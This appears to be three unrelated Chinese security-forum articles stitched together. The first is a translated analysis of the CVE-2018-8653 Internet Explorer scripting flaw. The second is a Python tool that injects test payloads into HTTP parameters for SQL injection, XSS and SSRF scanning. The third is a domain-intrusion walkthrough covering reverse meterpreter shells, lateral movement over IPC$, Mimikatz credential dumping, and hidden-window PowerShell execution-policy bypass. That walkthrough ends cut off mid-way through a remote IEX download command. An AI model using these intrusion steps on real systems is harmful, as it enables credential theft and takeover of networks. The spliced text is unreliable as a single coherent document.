在特定的`ActiveXObject`上调用`instanceof`函数使攻击者有机会从控制的回调函数中运行自定义JavaScript代码，这通常是攻击的发生点。
攻击者成功地将这个bug变成了一个免费利用的漏洞，我们将在下面看到。
漏洞利用：这里没有太多细节（请参阅本文档后面的概念以获取更多信息），这个bug可以解释为“删除”类型的原语，类似于以前报告的错误。
当攻击者调用回调函数（在前面的例子中为“f”）时，关键字“this”会指向`eObj.prototype`。
如果我们将其设置为null然后触发垃圾回收机制，则可以释放该对象的内存并进行回收。 但是，正如Project
Zero错误报告中所提到的，为了成功利用上一步操作，系统需要在释放内存之前清除整个变量块。
补丁情况：微软发布了一个修补程序来修复此漏洞。 对于我们来说，修补漏洞的通常做法是查看修补程序之前和之后的变化。
然而，这个补丁改变了最小字节数，而DLL的版本号却保持不变。
我们使用了检测工具`Diaphora`来帮助我们进行研究，我们比较了Windows 10、x64位版本（功能版本1809）的jscript.dll文件。
除了一个指向与数组相关的函数外，我们可以看到这些程序只修改了部分功能。 这些修改点可能是针对`CVE
2018-8631的补丁`（jscript!JsArrayFunctionHeapSort越界的写入）。
剩下的唯一一个经过修改的点是`NameTbl::InvokeInternal`。
`Diaphora`工具为我们提供了两个版本之间函数的汇编代码的差异。 我们使用这个工具更容易在Ida Pro中进行并排比较功能，以查看已修改的内容。
快速浏览函数的末尾会显示两次调用`GCRoot::~GCRoot`（对象GCRoot的析构函数）的不同。
下面我们观察`~GCRoot`的实现，我们看到它与旧版本DLL中编译器创建的函数内联的代码是相同的。
在较新版本的DLL中，此函数共被调用两次。在未修补的版本中，此代码只被调用一次（由编译器内联，因此没有函数调用）。 从C
++的角度来讲，`~GCRoot`是`GCRoot`的析构函数，所以我们可能想找到GCRoot的构造函数。
一个简单的分析技巧是我们需要注意这里的`偏移0x3D0`在其他地方是否也被使用。 我们发现它靠近同一个函数的顶部（未修补的版本在左侧）：
由于jscript.dll的垃圾回收的细节超出了本文的研究范围，所以让我们只对其作出一些假设。在`C++/C#`中，`GCRoot`通常会设计一个模板来指向正在使用的对象的引用指针，因此此处没有垃圾收集机制。这看起来我们是将堆栈地址（也就是局部变量）保存到了GCRoot对象列表中，以告诉垃圾回收器不要收集其指针位于堆栈上的那些特定位置的对象。事后看来，这是有道理的。由于“this”没有被垃圾收集器跟踪，所以我们能够对此进行“删除”操作。现在Microsoft确保将该堆栈变量添加到被跟踪的元素中。
我们可以通过跟踪`instanceof`的调用来验证这个假设。事实证明，在调用我们自定义“isPrototypeOf”回调函数之前，对`NameTbl::GetVarThis`的调用将指针存储在新的“受保护”的堆栈变量中，然后调用`ScrFncObj::Call`来执行我们的回调操作。
之后我们需要查看`instanceof`中出现的意外情况：
好奇的读者可能想知道为什么攻击者可以在自定义的对象而不是函数上调用`instanceof`函数（如前所述）。
在JavaScript中调用instanceof时，会紧接着调用`CScriptRuntime::InstOf`函数。 早期版本中，该功能分为了两种情况。
如果变量类型是0x81（堆上JavaScript对象的宽泛类型），那么它可以调用一个虚函数，如果可以调用该对象，则返回`true/false`。
另一方面，如果类型不是0x81，则它会自动解析原型对象并调用`isPrototypeOf`函数。
### 相应概念的证明
现在我们已经对漏洞的来龙去脉清楚了，让我们来看一个简单的概念证明我们的理论。
首先，我们设置了几个数组，以便可以分配所有预分配数据，并且设置堆为准备状态以供空闲后使用。
然后，我们声明我们的自定义回调并触发漏洞：
出于某种原因，需要释放对象数组会在下一步利用之前进行收集回收操作。 这可能是释放`ActiveXObject`触发的一些副作用。
当我们将“1”分配给`reallocPropertyName`属性时，内存将被回收。 该变量是一个字符串并且被复制到最近释放的内存中以覆盖合法变量。
它的创建如下所示：
这里`0x0003`是一个变量类型，它告诉我们以下值是一个整数，且1337是它的值。 字符串需要足够长以分配与最近释放的内存块相同大小的空间。
总而言之，JavaScript变量（这里是RegExp对象）存储在一个块中。当块中所有变量均被释放时，块本身会被释放。在某些情况下，新分配的字符串可以代替最近释放的块。因为“this”仍然在我们的回调中，所以它可以被用于进行某种类型的混淆操作。
（这是攻击者使用的方法，但超出了本文的范围。）在此示例中，代码将打印1337而不是空的`RegExp`。
### McAfee修复方案
对于完整的修复方案，请参阅McAfee产品公告。 以下是相关修复方案的简短摘要。
点对点产品：端点安全（ENS），ENS自适应防护（ENS-ATP），主机入侵防御（HIPS），VirusScan Enterprise（VSE），WSS。
#### MITER得分
此漏洞的基本分数（CVSS v3.0）为7.5（高），影响分数为5.9，可利用性分数为1.6。
### 总结
CVE-2018-8653是针对多个Internet
Explorer版本依赖相同脚本引擎的应用漏洞。攻击者可以在未修补的主机上利用网页或JavaScript文件执行任意代码。
即使微软修复了这个漏洞，我们也可以利用漏洞工具包来对此漏洞进行快速部署，并利用攻击工具来快速攻击那些未修补的系统。本文向用户提供了漏洞的相关信息，以确保他们的系统能良好的进行防御。除此之外，用户也可以利用McAfee安全产品为此威胁提供特定的“虚拟补丁”，直到完整的官方软件补丁发布，同时可以使用通用的缓冲区溢出保护规则来对系统进行保护。
本文为翻译稿件，来自：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/ | 社区文章 |
_自动化躺赚系列 02_ 以后可能还有，哈哈哈。
自动化躺赚系列 01 业务漏洞挖掘笔记 <https://xz.aliyun.com/t/9028>
## 1.自动黑盒漏洞检测思路
黑盒测试，也就是盲测http请求，进行漏洞挖掘，如检测挖掘XSS\SQL\SSRF\命令执行\代码执行 甚至于越权之类漏洞，此类漏洞都属于，代码/命令
拼接时不严谨出现的问题。
如挖sql注入，'" 如xss '"><script>, 如ssrf，替换请求参数值为url链接的请求，命令执行 代码执行依次...
在黑盒挖掘它们时的操作规律为在参数值后面 “追加/替换/值前追加"
payload等操作，既然发现此规律，我们就可以依此规律分析后，进行编程，做出一个减少重复操作和降低人工操作成本小工具。
## 2.功能分析
所需知识技能，Python PHP HTML JavaScript语言 Http协议之类，和一些常见漏洞的理解XSS\SQL\SSRF\RCE之类。
如上所说，在黑盒挖掘漏洞时的操作规律为在参数值后面 “追加/替换/值前追加" payload等操作，如:
原URL <http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?id=111>
[http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?as&fds=111payload](http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?as&fds=111payload)
为追加
[http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?as&fds=payload](http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?as&fds=payload)
为替换
[http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?as&fds=payload111](http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?as&fds=payload111)
值前追加
这三类操作就能覆盖大部分黑盒测试场景。
在HTTP请求时，大概有8种请求方式
1、OPTIONS
返回服务器针对特定资源所支持的HTTP请求方法，也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
2、HEAD
向服务器索与GET请求相一致的响应，只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下，就可以获取包含在响应小消息头中的元信息。
3、GET
向特定的资源发出请求。注意：GET方法不应当被用于产生“副作用”的操作中，例如在Web
Application中，其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数：web_link和web_url
4、POST
向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
5、PUT
向指定资源位置上传其最新内容
6、DELETE
请求服务器删除Request-URL所标识的资源
7、TRACE
回显服务器收到的请求，主要用于测试或诊断
8、CONNECT
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
最为常见的是GET/POST两种，为了节省代码量和篇幅，我也就介绍这两种方式的黑盒自动化测试。
## 3.代码实现
process_http_request.py
# coding: utf-8
"""
@Time : 6/18/2021 17:02
@Author: guimaizi
@File: process_http_request.py
@Software: PyCharm
"""
import json,copy
from urllib.parse import urlparse
from urllib import parse
class process_http_request:
def __init__(self):
self.list_data=[]
def type_param(self,param_data):
'''
返回数据类型 INT Json List Url String
:param param_data:
:return:
'''
try:
int(param_data)
return 'Int'
except:pass
try:
if type(param_data) == type({'a': 1}):return 'Json'
except:pass
try:
if type(json.loads(param_data)) == type({'a': 1}):return 'Json'
except:pass
try:
if type(param_data) == type([]):return 'List'
except:pass
if parse.unquote(param_data).startswith('http://') or parse.unquote(param_data).startswith('https://'):return 'Url'
return 'String'
def process_payload(self,json_data, num, payload):
'''
Payload处理 0追加 1替换 2值前添加
:param json_data:
:param num:
:param payload:
:return:
'''
#print(num)
if num == 0:
json_data = str(json_data) + payload
elif num == 1:
json_data = payload
elif num == 2:
json_data = payload + str(json_data)
return json_data
def process_json(self,http_request_body, param_name=''):
'''
遍历json键名
:param http_request_body:
:param param_name:
:return:
'''
for name in http_request_body:
#print(name)
if param_name != '':
self.list_data.append((param_name + '.' + name,self.type_param(http_request_body[name]),http_request_body[name]))
else:
self.list_data.append((name,self.type_param(http_request_body[name]),http_request_body[name]))
if isinstance(http_request_body[name], dict):
if param_name != '':
self.process_json(http_request_body[name], param_name + '.' + name)
else:
self.process_json(http_request_body[name], name)
def callback_set_json(self,http_request,data):
http_request["param_name"] = data["param_name"]
http_request["param_value"] = data["param_value"]
http_request["param_type"] = data["param_type"]
return http_request
def callback_json_http_request(self,http_request_body, param_name_list, payload='', payload_num=0):
'''
Json格式http body返回
:param http_request_body:
:param param_name_list:json键名
:param payload:
:param num:
:return:
'''
param_name_list = param_name_list.split('.')
num_param = len(param_name_list)
num=0
task_name = 'http_request_body[param_name_list[%s]]' % num
for i in range(num_param):
if num ==num_param-1:
param_type = self.type_param(eval(task_name))
param_value=eval(task_name)
item=eval('task_name')+" = self.process_payload("+eval('task_name')+", payload_num, payload)"
exec(item)
num = num + 1
task_name =task_name+'[param_name_list[%s]]'%num
return {"param_name": '.'.join(param_name_list), "param_value": param_value, "param_type": param_type,
"data": http_request_body}
def callback_param_http_request(self, http_request_body, param, payload='', payload_num=0):
'''
a=str&b=str&c=1 返回
:param http_request_body:
:param param: 参数名
:param payload:
:param num:
:return:
'''
try:
list_data=[]
task_list=list(set(http_request_body.split('&')))
if '' in task_list:
task_list.remove('')
#print(task_list)
for tmp in task_list:
#print(tmp.split('=')[0])
#print(param)
tmp=copy.deepcopy(tmp)
if '=' in tmp and str(tmp.split('=')[0])==param:
param_name=tmp.split('=')[0]
param_value=tmp.split('=')[1]
param_type=self.type_param(tmp.split('=')[1])
list_data.append(tmp.split('=')[0]+'='+self.process_payload(tmp.split('=')[1],payload_num,payload))
else:
#print(tmp.split('='))
if len(tmp.split('='))==2:
list_data.append(tmp.split('=')[0] + '=' + tmp.split('=')[1])
else:
param_value='Null'
param_type='Null'
list_data.append(tmp.split('=')[0] + '=' + param_value)
#print(list_data)
return {"param_name":param_name, "param_value": param_value, "param_type": param_type,"param_data":'&'.join(list_data)}
except:return {}
def process_param(self, http_request_body, param_name=''):
'''
遍历参数名 a=str&b=str&c=1 这类参数处理
:param http_request:
:param param_name:
:return:
'''
try:
callback_param = []
for tmp in http_request_body.split('&'):
if len(tmp.split('='))==2:
callback_param.append((tmp.split('=')[0],self.type_param(tmp.split('=')[1]),tmp.split('=')[1]))
else:callback_param.append((tmp.split('=')[0],'Null','Null'))
return callback_param
except Exception as e:
print(e)
return []
def callback_param_list(self,http_request):
'''
:param http_request:
:return: (参数名 , 参数值类型)
[('method', 'String'), ('name', 'String'), ('age', 'Int'), ('data', 'Json'), ('data.name', 'String'), ('sada', 'Int')]
'''
param_list=[]
query = parse.urlparse(http_request['url']).query
if http_request['method'] == 'GET' and query!='':
param_list.extend(self.process_param(query))
elif http_request['method'] == 'POST' and http_request['body']!='':
if query!='':param_list.extend(self.process_param(query))
if self.type_param(http_request['body'])=='Json':
if type(http_request['body'])==type({}):
self.process_json(http_request['body'])
else:
self.process_json(json.loads(http_request['body']))
param_list.extend(self.list_data)
else:
param_list.extend(self.process_param(http_request['body']))
self.list_data=[]
return param_list
def callback_http_request(self,http_request,param,payload='',payload_num=0):
'''
返回设置payload后的http请求包
:param http_request:
:param param:
:param payload:
:param payload_num:
:return:
'''
http_request=copy.deepcopy(http_request)
if self.type_param(http_request['body'])=='Json':
http_request['body']=json.loads(http_request['body'])
url_process = parse.urlparse(http_request['url'])
http_get_data = self.callback_param_http_request(copy.deepcopy(url_process.query), param, payload, payload_num)
if http_request['method'] == 'GET' and url_process.query!='' and http_get_data!= {}:
http_request['url'] = url_process.scheme + '://' + url_process.netloc + url_process.path + '?' + http_get_data[
'param_data']
http_request=self.callback_set_json(http_request,http_get_data)
return http_request
elif http_request['method'] == 'POST' and http_request['body'] != 'Null':
if url_process.query != '' and http_get_data!= {}:
http_request['url']=url_process.scheme+'://'+url_process.netloc+url_process.path+'?'+http_get_data['param_data']
http_request=self.callback_set_json(http_request,http_get_data)
return http_request
if self.type_param(http_request['body'] )=='Json':
json_data=self.callback_json_http_request(http_request['body'],param,payload,payload_num)
http_request = self.callback_set_json(http_request, json_data)
http_request["body"] = json_data["data"]
return http_request
elif http_request['body']!='Null' :
post_data = self.callback_param_http_request(copy.deepcopy(http_request["body"]), param, payload,payload_num)
if post_data!={}:
http_request = self.callback_set_json(http_request, post_data)
http_request["body"] = post_data["param_data"]
return http_request
return http_request
if __name__ == '__main__':
test_json={"headers": {"Origin": "http://192.168.220.130", "Cookie": "PHPSESSID=1db5thrprbsm1nms5fer3fdj7c", "Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36", "Referer": "http://192.168.220.130/web_vul_test/test_sql.html", "Connection": "close", "Accept-Encoding": "gzip, deflate", "Content-type": "application/json", "Accept-Language": "zh-CN,zh;q=0.9", "Content-Length": "58"}, "method": "POST", "body": "{\"name\":\"lisi\",\"age\":50,\"data\":{\"name\":\"acccca\"},\"sada\":1}", "url": "http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?method=sql_inj_json_insert_method&dsadas=aa1111111"}
#test_json = {"headers": {"Cookie": "PHPSESSID=1db5thrprbsm1nms5fer3fdj7c", "Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36", "Referer": "http://192.168.220.130/web_vul_test/test_sql.html", "Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9"}, "method": "GET", "body": "null", "url": "http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?as&fds=111"}
#test_json={"headers": {"Origin": "http://192.168.220.130", "Cookie": "PHPSESSID=1db5thrprbsm1nms5fer3fdj7c", "Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36", "Referer": "http://192.168.220.130/web_vul_test/test_sql.html", "Connection": "close", "Accept-Encoding": "gzip, deflate", "Content-type": "application/x-www-form-urlencoded", "Accept-Language": "zh-CN,zh;q=0.9", "Content-Length": "36"}, "method": "POST", "body": "fname=Bill&lname=Gates&id=2&dasdsa=1", "url": "http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?method=sql_inj_post_method&sa1=sada&aaa1=a1"}
task=process_http_request()
for item in task.callback_param_list(test_json):
if item[1] != 'Json':
print(item)
print(task.callback_http_request(test_json, item[0], 'payload', 0))
以上为要用到的代码
### 案例解释1:
用burp抓包得到的GET请求:
GET /web_vul_test/php_api/json_sql.php?method=sql_inj_get_method&id=1dasdsadsa&ida=13243234&id=1 HTTP/1.1
Host: 192.168.220.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36
Accept: */*
Referer: http://192.168.220.130/web_vul_test/test_sql.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
通过我的burp插件(这个之后写)处理后为:
{
"headers":
{
"Accept": "*/*",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/92.0.4505.0 Safari/537.36",
"Referer": "http://192.168.220.130/web_vul_test/test_sql.html",
"Connection": "close",
"Accept-Encoding": "gzip,deflate",
"Accept-Language": "zh-CN,zh;q=0.9"
},
"method": "GET",
"body": "null",
"url": "http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?method=sql_inj_get_method&id=1dasdsadsa&ida=13243234&id=1"
}
这个时候从漏洞检测的角度讲，我完全可以通过修改User-Agent/Referer/Cookie,之类的header参数值，进行些黑盒漏洞测试，当然我们要讲的不在这里，是在URL:[http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?method=sql_inj_get_method&id=1dasdsadsa&ida=13243234&id=1](http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?method=sql_inj_get_method&id=1dasdsadsa&ida=13243234&id=1)
的参数段，
method=sql_inj_get_method&id=1dasdsadsa&ida=13243234&id=1，web漏洞不考虑0/N-day的情况下，大部分漏洞都在这个地方，
我们以上的代码process_http_request.py 也就是为了处理这个地方。
如图所示，结果为
method=sql_inj_get_method&id=1dasdsadsa&ida=13243234&id=1
(参数名,参数值类型，参数值)
('method', 'String', 'sql_inj_get_method')
('id', 'String', '1dasdsadsa')
('ida', 'Int', '13243234')
('id', 'Int', '1')
那么我们取消掉图上注释执行结果:
('method', 'String', 'sql_inj_get_method')
{'headers': {'Accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36', 'Referer': 'http://192.168.220.130/web_vul_test/test_sql.html', 'Connection': 'close', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9'}, 'method': 'GET', 'body': 'null', 'url': 'http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?id=1dasdsadsa&ida=13243234&id=1&method=sql_inj_get_methodpayload', 'param_name': 'method', 'param_value': 'sql_inj_get_method', 'param_type': 'String'}
('id', 'String', '1dasdsadsa')
{'headers': {'Accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36', 'Referer': 'http://192.168.220.130/web_vul_test/test_sql.html', 'Connection': 'close', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9'}, 'method': 'GET', 'body': 'null', 'url': 'http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?id=1dasdsadsapayload&ida=13243234&id=1payload&method=sql_inj_get_method', 'param_name': 'id', 'param_value': '1', 'param_type': 'Int'}
('ida', 'Int', '13243234')
{'headers': {'Accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36', 'Referer': 'http://192.168.220.130/web_vul_test/test_sql.html', 'Connection': 'close', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9'}, 'method': 'GET', 'body': 'null', 'url': 'http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?id=1dasdsadsa&ida=13243234payload&id=1&method=sql_inj_get_method', 'param_name': 'ida', 'param_value': '13243234', 'param_type': 'Int'}
('id', 'Int', '1')
{'headers': {'Accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36', 'Referer': 'http://192.168.220.130/web_vul_test/test_sql.html', 'Connection': 'close', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9'}, 'method': 'GET', 'body': 'null', 'url': 'http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?id=1dasdsadsapayload&ida=13243234&id=1payload&method=sql_inj_get_method', 'param_name': 'id', 'param_value': '1', 'param_type': 'Int'}
请自行发现规律和理解下...
该代码主要用这两个方法:
1. `callback_param_list` 方法为，遍历http的请求参数 并遍历返回 (参数名,参数值类型，参数值)
2. `callback_http_request` 方法为:
callback_http_request(burp转好的http request,要设置的参数名,payload,payload_num)
payload_num 0为值后追加 1为替换 2为值前追加
然后返回设置好payload的http request。
### 案例解释2:
POST方式 JSON数据格式传参的http请求
{
"headers":
{
"Origin": "http://192.168.220.130",
"Accept": "*/*",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/92.0.4505.0 Safari/537.36",
"Referer": "http://192.168.220.130/web_vul_test/test_sql.html",
"Connection": "close",
"Accept-Encoding": "gzip,deflate",
"Content-type": "application/json",
"Accept-Language": "zh-CN,zh;q=0.9",
"Content-Length": "58"
},
"method": "POST",
"body": "
{
\"name\":\"lisi\",
\"age\":50,
\"data\":
{
\"name\":\"acccca\",
\"data\":
{
\"url\":\"http://www.qq.com\"
}
},
\"sada\":1
}
",
"url": "http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?method=sql_inj_json_insert_method"
}
其实了和案例1 没有什么区别，就是GET和POST参数处理，支持处理 GET POST, a=1&b=c&asda=dsadsa
和JSON方式传参,并且遍历json N层json嵌套都可以。
## 漏洞检测案例
### 案例1 ssrf检测
关于案例而的实战应用，假设url参数名是一个ssrf漏洞， 实际黑盒漏洞挖掘中，我们需要手工换掉<http://www.qq.com>
为<http://www.ssrf.com>
在本代码中
执行结果:
{'headers': {'Origin': 'http://192.168.220.130', 'Accept': '*/*', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4505.0 Safari/537.36', 'Referer': 'http://192.168.220.130/web_vul_test/test_sql.html', 'Connection': 'close', 'Accept-Encoding': 'gzip, deflate', 'Content-type': 'application/json', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Content-Length': '58'}, 'method': 'POST', 'body': {'name': 'lisi', 'age': 50, 'data': {'name': 'acccca', 'data': {'url': 'http://www.ssrf.com'}}, 'sada': 1}, 'url': 'http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?method=sql_inj_json_insert_method', 'param_name': 'data.data.url', 'param_value': 'http://www.qq.com', 'param_type': 'Url'}
然后我们二次重放这个http request，就是在进行SSRF漏洞检测了。
### 案例2 反射XSS检测
反射XSS的检测原理为判断响应包。
1，是否为http响应为可浏览器解析渲染的页面 如Response的`Content-Type:` 是html/xml之类，
2, http响应内容里是否存在有 请求包URL上可控的参数。
3，该可控参数是否可以执行JavaScript
{
"headers":
{
"Accept": "*/*",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/92.0.4505.0 Safari/537.36",
"Referer": "http://192.168.220.130/web_vul_test/test_sql.html",
"Connection": "close",
"Accept-Encoding": "gzip,
deflate",
"Accept-Language": "zh-CN,
zh;q=0.9"
},
"method": "GET",
"body": "null",
"url": "http://192.168.220.130:80/web_vul_test/php_api/json_sql.php?method=sql_inj_get_method&id=1dasdsadsa&ida=13243234&xss=xsss"
}
假设如上请求包,URL上参数名为xss的符合
以上三个反射XSS的条件，是个反射型XSS漏洞，我们通过process_http_request.py来进行操作,
如图遍历所有参数 追加payload，并再重放http请求，就能检测到xss名是存在XSS漏洞的。
## END
_这篇就是很单纯的http请求包处理，属于漏洞检测的核心功能，配合burp/爬虫之类，用于自动化漏扫和被动式漏扫，方便自动化设置payload_
，web漏洞测试工具研发是很麻烦的，首先第一步得搞一个靶场，各种奇葩的靶场环境，并且有很多http，html，JavaScript，css, php,
nodejs, jsp之类奇奇怪怪的web场景案例，http协议上的各种奇怪问题,比如GraphQL方式传参，
以及响应包里的奇怪问题，甚至于为了覆盖检测某些奇葩业务还要考虑vbscript的靶场案例来满足扫描器的需求，还有响应内容的问题... 。
欢迎扫描器技术交流 wechat: guimaizi | 社区文章 |
## 0×01 引言
我们渗透的最终目的是获取服务器的最高权限，即Windows操作系统中管理员账号的权限，或LINUX操作系统中root账户权限。而在内网中，我们的最终目的就是获取域管理员账户或成为其中之一。今天要讲的就是如何通过一个普通的webshell权限一步步的获得域管权限，从而掌控整个内网。
## 0×02 渗透环境
此次渗透的环境：假设我们现在已经渗透了一台服务器PAVMSEF21，该服务器内网IP为10.51.0.21。经过扫描，内网网络结构大概如下图所示。其中我们控制的服务器是连接外网和内网的关键节点，内网其他服务器均不能直接连接。图还是我老婆画的，越来越漂亮了！:
)
## 0×03 反弹meterpreter
上传免杀的PAYLOAD到机器名为PAVMSEF21，IP为10.51.0.21的服务器上，然后在菜刀或者WEBSHELL下面运行，反弹成功。
## 0×04 提权
获得meterpreter
shell我们要做的第一件事情就是提权。通常，我们在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将会使我们受到很多的限制，所以必须将访问权限从Guset提升到User,再到Administrator,最后到SYSTEM级别。
我们先尝试利用本地溢出漏洞提权，即使用本地漏洞的利用程序（local
exploit）提升权限。就是说通过运行一些现成的造成溢出漏洞的exploit,把用户从users组或其它系统用户中提升到administrators组（或root）。
此时我们获取的权限是一个普通域用户权限，如下图所示。
先利用本地溢出提权，尝试了ms15_05和ms15_078，都以失败告终。如下图所示：
再试试看能不能绕过Windows账户控制（UAC），我们现在是具有一个普通域用户的权限的。
尝试了bypassuac模块，又以失败告终，如果成功会返回一个新的meterpreter shell。如下图所示：
使用bypassuac模块进行提权时，系统当前用户必须在管理员组，而且用户账户控制程序UAC设置为默认，即“仅在程序试图更改我的计算机时通知我”。而且Bypassuac模块运行时因为会在目标机上创建多个文件，所以会被杀毒软件识别。我们没能绕过UAC，可能是这二个原因。
> 其实提权没有成功也不要紧，我们还是可以通过此服务器为跳板，来攻击其他服务器的。
## 0×05 信息收集
我们此时虽然提权不成功，但我们还是可以进行域渗透测试的。有了内网的第一台机器的权限后，如何收集信息，这是很关键的一步，也是内网渗透中不可或缺的一部分。
查看当前机器的网络环境，收集域里面的相关信息，包括所有的用户，所有的电脑，以及相关关键的组的信息。常使用到的命令如下：
1. net user /domain 查看域用户
2. net view /domain 查看有几个域
3. net view /domain:XXX 查看此域内电脑
4. net group /domain 查询域里面的组
5. Net group “domain computers” /domain 查看域内所有计算机名
6. net group “domain admins” /domain 查看域管理员
7. net group “domain controllers” /domain 查看域控制器
8. net group “enterprise admins” /domain 查看企业管理组
9. net time /domain 查看时间服务器
通过收集以上信息，我们可以分析出很多重要信息，比如：可以分析出内网是怎么划分的，还有各个机器名的命名规则，根据机器命名尝试找出重要人物电脑，还有域结构，是否是多层域结构等等，关键是要探测出域管理员的名字和域服务器的名字等。
## 0x06 获取一台服务器权限
我们的目标当然是域服务器，此时有二种情况，当前服务器可以直接攻击域服务器和不可以直接攻击域服务器。
* 可以直接攻击域服务器
* 不可以直接攻击域服务器，如果权限不够我们需要提升权限；如果是不能连接到域服务器需要攻击内网某个可以连接到域服务器的服务器，然后以此为跳板再攻击域服务器。
我们现在因为权限问题不可以直接攻击到域服务器，整理下思路，可以采取以下方法继续渗透：
1. 使用meterpreter的目前权限来添加路由进行弱口令扫描
2. 使用powershell对内网进行扫描（要求WIN7以上服务器）
3. 架设socks4a，然后socks进行内网扫描
4. 利用当前权限，进行内网IPC$渗透
通过上面的分析，我们先选择最简单的方法，我们在net view的机器名里选择一个和我们机器名相似的服务器来试试，不出意外，成功率很高，如下图所示。
> **给大家再温习下经典的ipc$入侵**
这里我们把我们免杀的PAYLOAD上传到PAVMSEP131服务器，然后利用AT命令启动PAYLOAD，反弹回来meterpreter
shell,具体操作见下图。
接着我们返回handler监听，可以看到反弹成功了，我们获得了pavmsep131服务器的meterpreter shell。见下图。
我们先看看PAVMSEP131服务器的信息和现在的权限
sysinfo
getuid
看到没有system权限，现在可以用Mimikatz等工具也可以用run post/windows/gather/hashdump来抓HASH。
>
> 我们在用Mimikatz抓HASH之前要注意一点，如果服务器是安装的64位操作系统，要把Mimikatz进程迁移到一个64位的程序进程中，才能查看64位系统密码明文。32位系统没有这个限制，都可以查看系统密码。
这里我们使用大杀器（MIMIKATZ），抓HASH，具体操作见下图。
我们看下我们抓到的域用户的权限，如下图：
## 0x07 Powershell寻找域管在线服务器
Powershell，首先是个Shell，定义好了一堆命令与操作系统，特别是与文件系统交互，能够启动应用程序，甚至操纵应用程序。PowerShell还能允许将几个命令
组合起来放到文件里执行，实现文件级的重用，也就是说有脚本的性质。且PowerShell能够充分利用.Net类型和COM对象，来简单地与各种系统交互，完成各种复杂的、自动化的操作。
Powershell的脚本有很多，在内网渗透测试中不仅能扫，能爆，能转发，还能做更多的事情。我们常用的脚本有Powersploit，Empire，PowerView等等。
> 使用脚本之前，我们先科普下计算机上的执行策略，输入下面命令。
get-executionpolicy
* Restricted------默认的设置，不允许任何script运行
* AllSigned-------只能运行经过数字证书签名的script
* RemoteSigned----运行本地的script不需要数字签名，但是运行从网络上下载的script就必须要有数字签名
* Unrestricted----允许所有的script运行
要运行Powershell脚本程序，必须要将Restricted策略改成Unrestricted，而修改此策略必须要管理员权限，所以这里就需要采用一些方法绕过策略来执行脚本。有下面三种方法。
* **本地权限绕过执行**
`PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1`
* **本地隐藏权限绕过执行脚本**
`PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile
-WindowStyle Hidden(隐藏窗口) -File xxx.ps1`
* **用IEX下载远程PS1脚本回来权限绕过执行**
`powershell "IEX (New-Object
